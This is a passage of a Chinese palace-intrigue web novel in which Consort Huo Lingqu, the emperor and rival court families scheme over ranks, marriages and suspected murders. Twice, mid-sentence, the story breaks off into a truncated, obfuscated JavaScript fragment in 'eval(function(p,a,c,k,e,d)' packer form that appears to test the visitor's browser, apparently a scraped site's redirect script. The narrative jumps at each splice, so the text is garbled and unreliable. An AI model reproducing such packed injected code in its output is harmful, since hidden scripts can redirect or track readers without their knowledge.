上个月,霍灵渠曾对郭皇后言道:你外祖家和姨母家,在仕途的也都不用留了,郭皇后乍然听闻时很惊,过后也就过了,她不爱费心思,从来不爱费心思,因而事情还没有发生,她自己还多灾多难多遭罪,她哪还记得还有那么件事。 包括她的母亲,不过她母亲和这些亲戚们更偏于没当回事,毕竟霍家庇护郭家十余年,郭太太对于能拿捏霍家早已根深蒂固,她的娘家人和妹妹对她又强势,谁还能把霍贵妃当天言论当回事,一样的都早忘了,故而当刀子落下时,格外痛。 郭太太昨儿个被她娘家人出面从大理寺领走,今早,她领着孙女们,怒火中烧冲来,一入昭德门直冲长春宫,带着孙女们就要撞墙,大有要血溅当场的架势。 她刚闹上,小太监一棍下去,打晕,送去怡华宫前,等着贵妃来处理。 霍灵渠到来,两名宫娥搀起昏倒的郭太太随贵妃进怡华宫。 郭皇后还在卧病,霍灵渠率众来到郭氏的病榻前,宫女们把人摔在她的病床上,郭皇后一个哆嗦颤巍巍地看向贵妃,霍灵渠眉目阴沉:“你这个娘又闹事了! 她,我会送去掖庭狱关到月底,月底放出宫,对外是她留在怡华宫里陪你了;至于你,我看你嫌一顿十个菜多,从今天起你用正五品的份例。” 郭皇后瞪起眼睛看霍贵妃,霍灵渠训斥:“你有什么不满,听说杭婕妤和楚昭仪的份例没有,你想一天一个馒头还是想自己掏银两? 管好你这个娘!她今后闹一回,我就给你降一次份例,你从今天起用正五品的份例,你还有四个机会,她再闹四回,你就只能啃馒头了,你想天天吃馒头?” 陪同在病榻前的宫女们诧异看郭皇后,刚刚郭皇后瞪起眼睛,她们还不相信她是因为又被削减份例之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍灵渠默下垂眸:“陛下去看过大公主和二皇子他们了吗?” 嬴忱璧说:“没有。”又似觉得这俩字有些冷漠,对霍贵妃态度的冷漠,皇帝又再补充:“朕当前没有见儿女们的心思,朕想,还是想见时再见吧。” 下刻,宫人来报:文郯侯夫人来了。 霍灵渠请文郯侯夫人的说辞是:请教育儿心得。 喻美人闻讯赶到拾翠阁,霍贵妃已经撇下翁嫔带小皇子在小花园和文郯侯夫人说话了,喻美人问翁嫔什么情况,翁嫔心思低靡:“我也想知道,猜不出来嘛。” 日头高照,霍灵渠怕晒到小婴儿,用细纱撑起遮在摇篮床上方,她注视着小婴儿,听过文郯侯夫人的育儿心得,突兀问:“侯夫人看,昌隆侯发迹于何时?” 文郯侯夫人按住对霍贵妃用意的猜疑,笑道:“自然是圣人恩重厚爱时。” “本宫倒觉得是他嫡母亡故之际,他嫡母去世,他的生母被扶正,他的嫡长兄又没了,朱家落入他的囊中。”霍灵渠似有探讨意:“夫人觉得昌隆侯有这本事吗? 从他的嫡母看似正常老死起就是他的谋划,他早觊觎爵位,但他装了二十多年,装到让他嫡母和嫡长兄对他放心,再神鬼不知地害死嫡母和嫡长兄?” 文郯侯夫人想含糊时背脊一凉,喻家?喻美人和喻自蹊那个生母是能甘心做妾不对爵位和家业有想法的?她也五十岁了,若是她过一两年没了,文郯侯夫人简直不敢想,她若死,对喻自蹊就什么都通了,就是昌隆侯那条路? “昌隆侯这两年一直在闹着圣人想换位福建总兵,现任福建总兵是侯夫人的兄长吧?”霍贵妃的声音飘来,文郯侯夫人忙应是,霍灵渠看摇篮床里的小婴儿醒来了,逗逗他,说:“我想知道昌隆侯的嫡母怎么死的,让你兄长帮我查查吧。” 文郯侯夫人很恭敬:“是,贵妃。” “传闻,昌隆侯是昨儿个快天黑时入城的,今早卯初,他就跪在太微宫请圣人息怒了,本宫和陛下离开时他还跪着呢。这回,圣人对昌隆侯虽然有怒,但应该还是会于心不忍,大概会允他之请,江南的缺出来了,霍家可以把你兄长调往江南。” 霍灵渠话落,文郯侯夫人跪下来谢贵妃恩典,很庄重。 霍灵渠再叮嘱:“武将粗犷,夫人谨记,你兄长若不擅内宅中事,你多费心些。” 文郯侯夫人接着应,不管怎样是真感激霍贵妃这声提点,她对那种情况全没防备。 霍灵渠站起来,抱起摇篮床里的小婴儿,施施然走了。 小皇子这就要抱去关雎宫,翁嫔送到拾翠阁前,强忍着不敢哭,不敢红眼睛。 文郯侯夫人出来,喻美人忙迎上去,侯夫人淡淡:“是我娘家的事。” 距此时,昌隆侯在太微宫已跪将近三个时辰。 太上皇终于召见他:“你是看寡人快要死了,所以要给自己谋一谋后路?” 昌隆侯很清楚不能再辩解,只能认:“圣人息怒,圣人恕罪,老臣一时糊涂。” “糊涂?”太上皇恭维:“寡人看你可不糊涂,都在给晋王私铸兵刃了吧?” 昌隆侯朱存焳砰砰砰磕头,直到太上皇让他停才停下,顾统领进殿来报:陛下送来两个五花大绑的人,陛下回皇城遇见她们在承天门前撒泼,人有点特殊,故而送来太微宫。逼得昌隆侯还得继续磕头,太上皇吩咐送去大理寺,让昌隆侯走时带走。 这个走是指他回福建时?圣人这是亲妹妹和外孙女都不想见了? 被贬做庶人的同母妹妹,还有她的孙女——太上皇已故三女儿留下的独女,昌隆侯的确是把这俩人带来了,这位王夫人昨天还去过小觉庵,一见庄太妃就数落她没用,庄太妃只抱着她的外孙女低眉奉承,料想,这么多年了,这妹妹来肯定有用。 昌隆侯当然也这么想,否则带来作甚?今早他来太微宫,就让这表妹去皇城。 适时,在皇宫的太妃们听闻这位都有点沸腾,这位的彪炳事迹,小朱太妃生前都嫌恶,谁想,皇帝直接把姑母和外甥女绑了,太妃们又有点沸腾了。 待送入太微宫,太上皇又径直扔进大理寺,显国公闻悉都有点惊讶。 昌隆侯向圣人告过罪,得到宽恕,又赶往皇城向皇帝请罪。 在皇城,昌隆侯请罪迅速,皇帝晾都没晾他。从宣政殿告退,昌隆侯去太妃宫苑。 “四叔,八妹的事儿,您节哀。”朱太妃低眉顺眼。 “你真想让四叔节哀?”昌隆侯盯着侄女,朱太妃尴尬笑:“自然是真的。” “那么你帮四叔一个忙好不好?”昌隆侯好像能温言商量:“你八妹死了,七妹残了,你们在京中相依为命,你总不忍心两个妹妹遭此大祸还没有点慰藉吧?” 朱太妃心提起来:“四叔,我能给两位堂妹什么慰藉?” “能的,你八妹路上孤单,你去给她做个伴吧。”昌隆侯话落,一名充满杀气的内侍手持麻绳冒出来,朱太妃惊悚,要逃跑被拦住,疯狂挣扎,被勒得几近窒息时绳子一松,她还没多想就眼睁睁看着眼前的内侍被一箭刺破喉咙。 人倒地死去,朱太妃一个激灵,哆嗦着往角落里缩。 昌隆侯一眼看去还没发作,皇帝嬴忱璧走入,提个错处:“侯爷,在朕的皇城中杀人,杀的还是太上皇留在宫中养老的太妃,不合适吧?” “老臣糊涂。”昌隆侯微笑颔首。 “把你那个嫡女留到四皇子满月之后。”嬴忱璧训示,朱太妃难以置信地看向皇帝,嬴忱璧不吝惜解释:“虢王世子妃砍了那么多条手臂,你四叔哪还能留着她,昌隆侯是想让嫡女死前有一点安慰。”说着,嬴忱璧看向昌隆侯:“是吧,侯爷?” 昌隆侯坦率:“陛下,英明。” 朱太妃霎时只觉得她心脏被揪住一般,她这个四叔是那么可怕。 “退下吧。”皇帝说。 “老臣告退。”昌隆侯行礼告退,礼数周到。 朱太妃连忙爬过去叩谢陛下救命之恩。 嬴忱璧说句太妃养着吧就走,皇帝走后,躲在外的太妃们松口气,鞠太妃都松口气,刚刚看得她们心都提起来,生怕昌隆侯发现她们直接把她们也杀了。 那厢边,昌隆侯在出皇宫时被晏墉拦路,晏墉让领路的两位小内侍退远,看向朱存焳,昌隆侯道:“你我两家之间没有什么事还需要在宫门前处理吧?” 晏墉开门见山:“我就向你要一句话,我外甥女是不是被害死的?” 昌隆侯好笑:“我怎么会知道?” 晏墉走近,逼视他:“有些心思,一个字都不能往外蹦。” 昌隆侯眼神倏然狠厉,阴鸷盯向晏墉,晏墉四两拨千斤:“你这辈子也就只喜欢过这么一个人吧,你的少年慕艾总不是那么廉价连这一个答案都不配?” 沉默下,昌隆侯告知:“她们三个借升平母子的手做的,我也是事后才发现。” 晏墉犹似裹了霜寒而来:“多谢!” 正当未时过半,阳光猛得好像宫门前被照尽敞亮、没有一片阴影。 霍贵妃今日搬回关雎宫,入夜,皇帝自然是来关雎宫。 “霍家给贵妃送来六个婢女,四个会武,两个略通医理,贵妃都见过了吧?”贵妃抱着襁褓在看皇儿,映在烛光里似寻常人家的温馨,皇帝的心柔起来,霍灵渠嗯声,把装有二十万两银票的木匣给皇帝,嬴忱璧呃:“贵妃,朕想还是——” 霍灵渠眼神有点危险地看去,嬴忱璧有眼力劲地闭嘴,收就收吧。 嬴忱璧再一脸亲和的说:“对了,小觉庵的消息,霍家有告知贵妃吗?” “嗯,鞠家都没搭理她?”昨天,庄太妃又生一计,让鞠家找有名望的僧侣术士来指霍贵妃不详并加以制造相应的事端,鞠家表面应了,实则根本没理会。 霍灵渠摇头:“庄氏当年的淑妃位还真是靠温献皇后得来的。” 嬴忱璧赞同:“是啊,授康十年前她若就这么不知所谓,父皇早赐死她了。” 霍灵渠看看襁褓中的小婴儿,她让人把小皇子抱来就是懒得应付皇帝,要是能把皇帝赶走就更好了:“今夜,婴儿床就放我的寝殿,让他留我屋里吧。” 嬴忱璧略感惊讶地看贵妃,惊讶中有点呆、有点懵懂,甚至还有点新奇,像是从来没想过还能有这样的事,皇帝也没什么排斥:“好!” 这下,霍灵渠就有点郁闷了,你怎么这都不走啊。 烛泪流淌过朦胧的烛火和漆黑的夜,清早,皇帝刚在贵妃和皇儿的欢送中走出关雎宫,就收到则禀告:太上皇令送入大理寺的那两位撞墙了。 146. 第146章 忙碌的上午。 霍桑柔再次踏入小觉庵,热血激昂。 是庄太妃的计,太上皇前脚把妹妹和外孙女送入大理寺,庄太妃后脚就给她们出主意,让她们闹,寻死腻活地闹,鞠家原模原样把主意送过去了。 昌隆侯一大早赶往太微宫请罪,太上皇的处置是:大夫诊治过后让大理寺把人捆起来,就这几天别再闹出事来了。让霍家带霍桑柔再去趟小觉庵。 章醇郡主听闻虢王府在蒲州的庄子遭盗匪了,心急如焚赶回娘家。 侯瞻逊折返回京,和父亲武襄侯爆发剧烈争吵。 宜春县主萧灼灼带婢女从家里溜出来,朱窅絜约她好几回,她想就再去见一面吧。 翁嫔在关雎宫外徘徊被发现,霍灵渠让她去看看小皇子吧。 大公主闹绝食,倪秀仪禀告过陛下,皇帝口谕,让贵妃看着办吧,霍灵渠遂率宫人去到大公主面前罚她知错前都不必再进食饮水了。 皇帝派人查是否有人在蛊惑大公主,查到昌隆侯的女儿,皇帝传个口信过去,让昌隆侯有空时来给他个解释,昌隆侯从太微宫出来,又得赶往皇城。 乐邑长公主进宫来找童年小伙伴唠嗑:“你听说滕王的事没有?” 乐邑怀疑最近是不是流行着魔:“端午之后,晏霁之不是着魔了吗,这两天好不容易他好像恢复正常了,滕王着魔了,不知道他要找什么,把滕王府闹得鸡飞狗跳,据说他恨不得想把砖瓦都敲碎来看看,也是忙得饭都没空吃了,就差不眠不休了。” “滕王昨天有进宫吗?”霍灵渠问。 “他哪有那闲情,”乐邑摆摆团扇:“就他媳妇一个人把大公主送来的,我和他媳妇还在昭德门碰见了,昨天我们见皇兄时皇兄都还问了句,滕王最近怎么了呢?” “或许是他们有很重要的事,太投入,所以外人看来像着魔。”霍灵渠感惜。 “可能吧。”乐邑靠近霍灵渠一些,掩唇道:“我婆婆这两天心情特好,好到,她走个路都能哼个小曲儿的那种,她这劲儿,我怎么看都像是她要搞事情了。” 霍灵渠神情有点微妙:“你打探过没有?” 乐邑否掉:“我怎么打探呀,薛述聪哥俩在倒是能打探,他们哥俩都不在嘛。” 霍灵渠安慰:“你婆婆应该也搞不出什么大事来,你放心吧。” 乐邑忧虑:“我觉得她成事不足败事有余的可能更高。” 霍灵渠给她预防:“你不嫌跟着丢人就行了。” 乐邑长公主忒想白她两眼,霍灵渠怎么就这么会安慰人呢。 “宫里传,明天的宫宴办在景福殿,太缺德了吧你?”昌隆侯明天可在的。 “不是我定的。”霍灵渠捍卫自己。 乐邑没话了,霍灵渠倒想问问:“魏王和任家没断亲吧?” “没,怎么可能,”乐邑抿口茶,嗤道:“任家就是想拿捏魏王,怎么可能和魏王断亲,这两天全在我长姐府上呢,说是要等那个任逍入晋王府之后再走。” “晋王出京了。”霍灵渠忽然想到,乐邑随口应对啊。 “那任逍这月底入晋王府?”霍灵渠看她,乐邑撇嘴:“这任逍想表衷心都没地儿了,依我这小姑子兼弟妹的性子,让任逍吃糠咽菜都有可能。” “按纤若你猜测,崇孝长公主能袖手旁观吗?” “所以我觉得我这大姐拎不清呀,晋王妃能卖她脸面吗,除非魏王出面来跟我公爹谈,偏偏她和任家往死里得罪魏王。”乐邑长公主肯定道:“这任逍现在,魏王不管了,她入晋王府就是个死路,要么痛快死,要么被晋王妃磨搓死。 我公爹都跟女儿说了,不必在这任逍身上费心思,完全就是颗废棋了,魏王不会管了。看看最近,一个赛一个的好像在比谁心肠硬,我公爹看过英王和房副相的例之后一点不怀疑魏王能彻底不管任家的死活,何况任逍呢。” 话落,乐邑对上小侄儿委委屈屈的小脸,愣下,这是三皇子吧? 霍灵渠抬眸,眼前已跪倒数名宫人,大宫女禀告贵妃:刚刚,三皇子扒着关雎宫的门,既没有要进来也没有要走,奴婢们刚要来禀告,三皇子就跑进来了。 “我带三皇子去看弟弟,纤若你帮我应付楚昭仪吧。”霍灵渠抱起三皇子就走,乐邑真被她噎下,关雎宫外楚昭仪已经追来,乐邑摇着团扇,坐等着。 霍灵渠抱着娃找个荫凉地,仍然抱着他的:“你大姐找过你?” 小孩迟疑下,盯着眼前的霍贵妃,点点头。 “你和你哥哥昨天回来之后,你母妃有没有抱过你们?”霍灵渠直觉怕是没有,果然,三皇子瘪瘪小嘴泪眼汪汪几近要哭又倔强忍着,霍灵渠抚抚小孩的额头:“你父皇还在忙,待会儿等父皇不忙了,我送你和你哥哥姐姐去见父皇,好吗?” 三岁的小孩看这个霍贵妃好几眼,霍灵渠拥住小娃轻轻拍他安慰,小家伙鼻头一酸,昂过小脑袋扁扁嘴像是不屑,可还是忍不住倚靠着,悄悄抓住霍贵妃的衣裳。 二皇子下学堂,三皇子领着宫人们把哥哥带来关雎宫,楚昭仪又过来趟要接皇儿们走,霍灵渠没再回避:“他们想见父亲,昭仪愿意出面就带他们走吧。” 楚昭仪自己走了。 没想兴风作浪的太妃们看看戏,生活还是能有点悠哉的。 大公主是自己过来的,低着头跟霍贵妃认错,霍灵渠让宫人给她备膳食。 喻美人去找倪秀仪品茶,两个人虽然几乎没有言语,各自不言而喻。 皇帝直到火烧云烧红天边时才闲下来。 霍灵渠依诺,把三皇子和大公主、二皇子送过去,没有二公主,霍灵渠去看过二公主,小丫头吃好睡好玩好欢快得很,心大得随她娘,那就省了吧。 贵妃还提醒皇帝:这三个孩子有些不安,你别还火上浇油再吓到他们。 因而,为回报贵妃,是夜,皇帝又来关雎宫了,霍灵渠…… 星月皎洁,银辉斑斑笼下静谧,嬴忱璧注视着襁褓中的幼子,注视得像在审视,霍灵渠蹙眉喊陛下? 嬴忱璧喟然长叹:“端午那天,老国丈跟朕说,小孩怎么会不懂呢?” 霍灵渠低头,嬴忱璧侧眸,似有疲意:“二皇子兄弟不能接受朕冷落楚昭仪?” “你若一如既往的宽纵他们,不能。”霍灵渠叹息,对照是残忍,嬴忱璧笑:“所以只是将他们送出宫住几天,他们感受到父皇的威严,也就没什么不能的了。” 霍灵渠不语,嬴忱璧思量:“贵妃看,楚昭仪几时能振作?” 在皇帝看来,楚昭仪当下就是副不死不活的德行,否则何至于连才三五岁的孩子都安抚不好。 “楚昭仪这两天应该还没有抱过她的孩儿。”霍灵渠答道:“小孩子感受到身边的变化,心有不安,父母若珍视孩儿是应该尽他们所能把孩子的不安降到最低。” “贵妃怀疑楚昭仪不会振作了?”嬴忱璧斟酌。 霍灵渠默认:“她怕是放不下她的自傲。” 嬴忱璧眼底锐利:“楚氏不会向皇帝低头,或者说,率先低头,唯有皇帝先向她示好给她台阶下,她和朕才有可能缓和。”霍灵渠没说话,皇帝凤眸微眯:“若是朕将她贬至五品,她是会振作还是仍旧不死不活?” 霍灵渠反问:“陛下在考量两位皇子?” “是啊,楚氏若不能振作,两个皇儿当然还不如放在宫外养几年。”嬴忱璧很快想好:“朕就试试她吧,再降位,她若还那么不死不活的,就让她自己过去吧。” 霍灵渠捧茶碗喝茶,皇帝便问:“贵妃今夜还要带皇儿歇息吗?” 霎时一个激灵,霍灵渠想起还有事要谈:“陛下能否让庄太妃昏昏沉沉的过十天半月,把她打半死不活又不是庄太妃脑子废了,她清醒些估计又要不消停了。” “确实。”就跟苍蝇似的了,是人都嫌烦,嬴忱璧爽快应:“朕和太上皇知会一声,就让鞠家做吧,这个月都让庄太妃昏昏沉沉的迷糊着,别再费脑子了。” 霍灵渠拓展道:“入小觉庵之后,庄太妃是不是心里挺虚的?” 嗯?嬴忱璧看向贵妃,霍灵渠若喃喃自语:“我觉得是啊,否则,微不足道的一点事,又是太上皇下的令,她怎么都想要做做文章呢?是她心里不安。” “或许吧。” 夜渐深,皇宫金碧没入黑夜的祥静,星火阑珊,国都城迈进夜的滋补,几处街巷踩过轻微步履惊不醒墙角睡死的老狗,鸡鸣唤起黎明,日出,又是天高云阔的明朗。 皇帝四皇子的满月酒,因还要给南北铁骑接风,筹备得还算隆重。 宫宴前一个时辰,皇帝嬴忱璧传吏部晏侍郎。晏霁之到来,行过礼站过片刻,皇帝还专注眼前的奏疏没搭理晏侍郎,晏霁之自己找话:“陛下,雷刚回京了?” “嗯,在陪太上皇说话。”嬴忱璧把刚在看的长单子往前一推,晏霁之上前接过,看过几行后直接跳往最后,嬴忱璧冷笑:“朕,可真是太小看他了!” 这是原江南总兵的家底清单,这笔款项入国库,迁民众入塞北的费用大半都有着落了。晏霁之把清单放回御案,是比他们预测的多许多,难怪皇帝生气。 “昨夜,原安西将领的家眷被转移,这会儿估计应该已经出京了。”嬴忱璧靠在椅背里整个人都显得怠懒些了:“霁之怎么想还是该派人盯梢?” 晏霁之反问:“陛下凭什么确定这批人一定没有用了?” 皇帝看着他没说话,晏霁之眼睑半垂恭维:“我才知道,你不是要圆满,你是闲得慌,你就觉得一切尽在你掌握,你闲得难受,非要可着劲儿作妖。” 嬴忱璧脸黑了:“滚!” 晏霁之平静递封信笺给皇帝,嬴忱璧没好气瞪他,接过信笺一看,手一松,信笺轻轻飘落在御案,嬴忱璧沉着脸,再没有等闲视之:“怎么收到的消息?” “蜀王今早送来的。” 若这是对被皇帝揪出暗中蛊惑大公主闹绝食的回礼,不足一天,安排得过来吗?昌隆侯入京带着的女儿找上鞠太妃合作,算计霍贵妃和晏煦之,对,不是晏霁之而是晏煦之,就是还想让晏家内讧,这位朱姑娘还建议鞠太妃可以用姬太妃来掩护—— 霍家绝不会让蜀王去北境,蜀王和姬太妃难道能忍?大可以把蜀王推在前头。 故,昌隆侯这女儿蛊惑大公主闹绝食就是个障眼法,她是想以此蒙蔽住皇帝好给她和鞠太妃的合作打掩护,把蜀王拖下水就是想给她同母姐姐报个仇。 晏霁之笃定:“昌隆侯不知道。” 昌隆侯怎么可能会想找蜀王。 “是三皇兄埋在昌隆侯身边的暗钉给这姑娘搭了把手。”嬴忱璧同意,但,仍然是怒:“你猜郢国公有数吗?霍家有没有收到过消息,朕对此还真是一点讯息都没收到,朕还真是不敢想臣下们把朕的皇宫当什么,这样肆无忌惮?!” “人不会是昨天才和鞠太妃搭上线。”皇帝没有影射,就是生气,晏霁之懂,逐一答:“霍家应该和我家一样,今早刚知晓,蜀王告知的。 陛下实不必为那些个不知所谓的生气,昌隆侯刚算计过霍贵妃,若他再施同样的算计,如此明目张胆,除非他想明天就造反,是他这个女儿不懂。 这姑娘会自行其是,应该是建议没被采纳,她自觉此计甚好不想放过,昌隆侯没想到这女儿会这么放肆,他都否决了还敢自作主张。郢国公在置身事外,他不认为昌隆侯不知情,但此计于他大有裨益,最多搭进鞠太妃,他不亏。” 嬴忱璧气消些,嗯道:“昌隆侯居然会不知情?” “所以,根本是蜀王的人在给这姑娘牵线搭桥。”晏霁之摇头:“郢国公是糊涂,他清楚此计对昌隆侯的危害,昌隆侯自己会不清楚吗,怎么可能还会施行这等计策,鞠太妃和兄长商议时他真该想事情有诡异,而不是打算好舍弃这个妹妹。” “蜀王怎么会想多此一事?”嬴忱璧怀疑。 “顺手吧。”晏霁之没觉得奇怪,若他遇上这种情况,他也会想给搭把手。 “不,蜀王是意在鞠家。”嬴忱璧道:“鞠太妃卷进去还能撇得清郢国公,昌隆侯想拿鞠家做箭靶还在眼前,鞠家居然就能和朱家谈合作,蜀王是想搭给圣人看。” “霍家和鞠家还有笔血债没清呢,蜀王,”嬴忱璧感叹:“蜀王是想给贵妃卖个好吧,也可能是致歉,毕竟他假充贵妃生母娘家的表兄,骗了贵妃。” 晏霁之想,是皇帝的猜测合理。 嬴忱璧端起茶盅抿口茶,神情扑朔:“蜀王会是出于什么心思接近贵妃,他既能令霍家帮他隐瞒又何不多瞒贵妃些时日,怎会又在端午痛快坦诚?” 半响没得到回应,晏霁之垂眸不语,嬴忱璧也不在意:“今天宫宴,蜀王会来,国师也随太上皇过来了。” 皇帝意味不明笑:“蜀王不爱热闹啊,来凑什么热闹?” 晏霁之还是没说话,嬴忱璧略过道:“若我们都没有收到消息,贵妃能避过吗?” “能!”晏霁之似暂放刚才的沉思,言之凿凿,嬴忱璧看他,晏霁之浅笑道:“陛下看,孟怋乂算计霍贵妃时作甚是想从皇宫外运个男人进来?” 因为蒙骗的变数太大。 昌隆侯带儿女和姬汜入皇城,朱窅絜和朱縠艾都是第一次进皇宫,相比哥哥还有新奇,朱縠艾平淡、自在,莫说对皇宫的紧张畏惧了,她犹如回自家一般闲适。 太上皇在和风殿,昌隆侯把他们带去景福殿之后,就去和风殿。 他们是第一家到的,景福殿中还只有七八个零散的宫人,朱縠艾没有摆谱传唤,亲自向宫人要盘棋,宫人们给她把棋盘拿来,朱縠艾对姬汜道:“先生,手谈两局?” 姬汜随意地下棋,朱窅絜有点坐立难安,朱縠艾劝:“哥,你急什么呀?” 朱窅絜和萧灼灼昨天见面,没十句话闹崩了,萧灼灼又跑了,朱窅絜憋气得,昨天傍晚只能送信去道歉、表达自己的苦涩,以及若她非要断,今天他们告别。 “我问她是不是移情晏霁之了?我肯定要这么问吧。”朱窅絜想要求认同般略有急切,偏萧灼灼指责他不可理喻,朱縠艾应和:“肯定肯定,你好好跟她告别吧。” 朱窅絜忐忑:“你说她会不会移情晏霁之?” 朱縠艾反问:“那你觉得这英王世子有什么比得过你的吗?” 姬汜搭腔:“长得很英俊。”兄妹俩看向他,姬汜打击:“长得比你哥高,比你哥挺拔,比你哥英俊,而且是英俊很多,比美男子嘛,你哥跟人家没得比。” 朱窅絜脸黑了,朱縠艾无奈:“先生?!” 姬汜乐呵道:“好好好,不要生气,咱们要正视自己,才能勇往直前嘛。” 萧灼灼进殿来,朱家兄妹和姬汜同看过去,八目相对间,萧灼灼瑟缩下,转身往外走,朱窅絜当即去追,朱縠艾收回视线,姬汜摆颗白棋:“有带金叶子吗?” 朱縠艾没反应过来,以为是姬汜想要,就扔出袋金叶子,姬汜指指这座殿里的宫人,朱縠艾笑起来,拿起这袋金叶子去‘封口’。 自然,这金叶子一送,没多想的宫人全都要多想了。 景福殿的消息先后传进皇帝、太上皇、皇太后和霍贵妃耳中,霍灵渠一边派人去寻宜春县主的踪迹,一边派人去候着她堂姐和堂姐夫,见到她堂姐就请过来跟她会合。 霍舒窈和萧耿烨随关雎宫的大宫女来到清凉殿西边的假山上时,皇帝、贵妃、霍海啸、晏霁之、霍雄鹰都在,霍雄鹰是殿前侍读嘛,常在陛下左右,他大哥来找皇帝,晏霁之又闹着陛下请贵妃来,他们去看个热闹,他当然跟着一起来了。 宫女告退,晏霁之知会:“已经以你俩的名义通知萧耿裕了。” 霍舒窈在不远处一株芙蓉花树下找到萧灼灼,目测,大概相距二十多丈远。 “什么情况了?”霍舒窈揣着小心问。 “握过手了。”霍雄鹰吐槽:“拉拉扯扯、纠纠缠缠的,真不嫌酸。” 萧耿烨脸有点黑。 芙蓉花树下的告别其实已近尾声,萧灼灼眸微红、心戚戚,她的情窦初开,五年的少女情怀就要放下了,终归是难受,朱窅絜说:“灼灼,让我最后抱抱你。” 萧灼灼跟他拥抱,朱窅絜想再亲亲她的额头,她闭上眼睛。 然,花树下的唯美画面经过二十多丈远,休说唯美了,做堂哥的脸比锅底黑,霍雄鹰都要扭头不看。 霍舒窈狂摇团扇:“萧耿裕来了没有?” 霍海啸答:“肯定在了,但这种场合怎么好出来。” 嬴忱璧垂眸,明白了,英王没有和萧家结亲的意向,萧灼灼有相好,谁知道俩人背地里有多少不规矩,没有捅破就相当于萧灼灼没有污点,接着这种媳妇,且不论要受多少嘲笑,自家都膈应得够了,至于么,谁家还能找不到个媳妇? 所以,知情的外人,除他以外,大概都懂得晏家是懒得理会。 嬴忱璧自嘲,他竟一直觉得英王和晏副相是有意向的。 花树下的两人各自离去,霍舒窈要出面被霍灵渠拦住,萧耿烨要去追被晏霁之稍留下:“假若你叔叔家还有意向想和晏家结亲,帮我回绝,成吗?” 萧耿烨喘着粗气点个头就走,晏霁之道:“他回绝不掉。” 皇帝和霍家四兄妹唰的下齐看他,霍雄鹰反对:“不可能吧,刚刚都亲上了。” 晏霁之目有炯然,似轻描淡写又似讽刺:“不是有霍贵妃的例在前么。” 霍舒窈莫名被噎下,霍雄鹰还是不信:“这怎么能一样呢,我三姐的过往是敞亮的,是天下皆知我三姐曾经是你的流光姨娘,陛下不介意、自愿册封贵妃。他们萧家可是把萧灼灼有过相好死瞒着想以她没有污点来给她挑夫家,完全两回事嘛。” 霍海啸翘翘嘴角:“是啊,你都懂。” 被老兄噎得呛不回去的霍雄鹰给大哥记笔小黑账,萧耿烨一回来,就拽着姐夫问情况,萧耿烨沉着脸没说话,霍雄鹰难以置信:“不是吧,还回绝不掉?” 霍舒窈面色难看:“耿裕真的拿贵妃的例来顶你了?” 萧耿烨转过脸低头默认,霍雄鹰顿时噎得慌,这是姐夫的叔叔家,还不能骂,难受啊。 霍舒窈被气笑了,晏霁之莞尔:“舒窈,你看萧耿裕有多疼爱妹妹呢?” “啊?”霍舒窈没懂,晏霁之弯弯唇:“比如,萧灼灼若不想嫁人,她的兄弟们能不能同意?”晏霁之转向萧耿烨注视:“你做堂兄的,你看你这几个堂弟,萧灼灼这几个亲兄弟能不能在妹妹不想嫁人时不勉强她嫁人,养妹妹到老、呵护到死?” 萧耿烨忽然心里没底,含糊道:“一家人有多疼爱灼灼有目共睹。” “前提是,他家还为人称羡、而非被人指摘吧。”晏霁之一针见血道:“你堂弟,萧耿裕他懂不懂得尊重人?以他的自得,他能接受他家一样有瑕疵吗? 他当前还能漫不经心是因为萧家有底气能让萧灼灼蹉跎几年,但若萧灼灼一直不嫁人,被人指指点点,萧耿裕他还能漫不经心吗,还能保住对妹妹的疼爱吗?” 萧耿烨头疼,头疼得想挣扎:“这么些年,你对灼灼难道——” “你们的确是一家子!”晏霁之冷下脸走掉,霍灵渠沉默下,第二个走掉,霍雄鹰差点都想怼这姐夫了,刚刚他们都看见了,居然还能问出这种话来? 有病吧! 霍海啸让妹妹和弟弟先走,霍舒窈淡定地带霍雄鹰走人。 嬴忱璧在第四拨走,不怕追不上贵妃。 霍海啸严厉的盯着妹夫:“人家刚刚都把尊重甩你脸上了。” 萧耿烨不想受这种批判地对抗:“大哥,霍家都给贵妃把中宫的路铺通了。” “所以呢?”霍海啸怫然发笑:“所以晏霁之莫非还能比嬴忱璧金贵,嬴忱璧都能接受霍灵渠做继后,晏霁之有何接受不得萧灼灼,你、你们,是这个意思吗?” 萧耿烨想默认又嫌扭捏,还是出声应:“是!” “那么你看不见贵妃进宫前的过往尽人皆知吗?”霍海啸虽怒,教育意味也溢于言表:“你堂妹萧灼灼有相好只想把晏霁之当踏板是早已满城风雨吗,不是萧家往死里瞒、知情的人家帮着瞒吗? 台面上,萧灼灼没有污点,可萧灼灼是没有污点吗? 人家刚刚才在你面前亲热过呢! 大家明着来,寡妇、拖儿带女的寡妇、从良的妓女,都可以谈婚嫁,前提是别瞒着,可你叔叔家呢,连最基本的坦诚都没有。 四年前晏霁之把萧灼灼有相好揪出来,你叔叔家居然还能放任萧灼灼来京时住在晏家,什么意思?想耗个几年,萧灼灼和情郎断掉就当朱家不存在,再逼晏家就范,这是想结亲?这是故意恶心人吧!晏家是要靠萧家活还是是收破烂的要被这么糟践? 当然,你情我愿,什么都好说,可晏家愿意吗? 陛下自愿册封贵妃,想把继后位给贵妃,你看不懂。晏家对萧家,晏霁之连一点情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“借舒窈的话,嬴忱璧可能只离我十步之遥,我说几句话就走。”晏霁之表明,霍灵渠置若罔闻,晏霁之往前步,注视她,郑重道:“我想了个问题,我从来没有正视过的问题,假若童年和你有婚约的人是我,我会坚持和你的婚约吗?” 晏霁之目光坚毅:“答案是,会。” 霍灵渠怎么就觉得那么好笑呢,好笑得都懒得有反应。 晏霁之感怀,才明白:“我只想娶你,所以我多年来没有娶妻的心思。” 霍灵渠嗤之以鼻,偏偏心里有点浮躁,她就看他能有多不要脸。 